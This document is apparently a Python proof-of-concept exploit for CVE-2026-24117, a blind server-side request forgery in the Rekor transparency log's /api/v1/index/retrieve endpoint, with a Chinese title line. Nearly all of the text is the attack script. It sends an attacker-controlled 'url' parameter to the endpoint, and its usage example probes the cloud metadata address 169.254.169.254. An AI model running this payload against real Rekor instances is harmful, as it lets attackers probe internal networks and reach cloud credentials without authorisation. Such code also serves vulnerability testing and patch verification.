CVE-2026-24117 Rekor API端点SSRF服务端请求伪造漏洞

# CVE-2026-24117 SSRF PoC for Rekor # Target: /api/v1/index/retrieve endpoint # Note: This is a Blind SSRF - response is not returned import requests import sys def test_ssrf(target_url, payload_url): """ Test SSRF vulnerability in Rekor's /api/v1/index/retrieve endpoint Args: target_url: Base URL of Rekor instance (e.g., http://target:3000) payload_url: Malicious URL to probe (e.g., http://internal:8080) Returns: bool: True if request was made successfully """ endpoint = f"{target_url}/api/v1/index/retrieve" # Construct the request with user-controlled URL parameter params = { 'url': payload_url # Attacker-controlled URL } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload URL: {payload_url}") print(f"[*] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2026-24117_poc.py <target_url> <probe_url>") print("Example: python cve-2026-24117_poc.py http://rekor.example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] probe = sys.argv[2] print("=" * 50) print("CVE-2026-24117 Rekor SSRF Vulnerability Test") print("=" * 50) test_ssrf(target, probe) if __name__ == "__main__": main()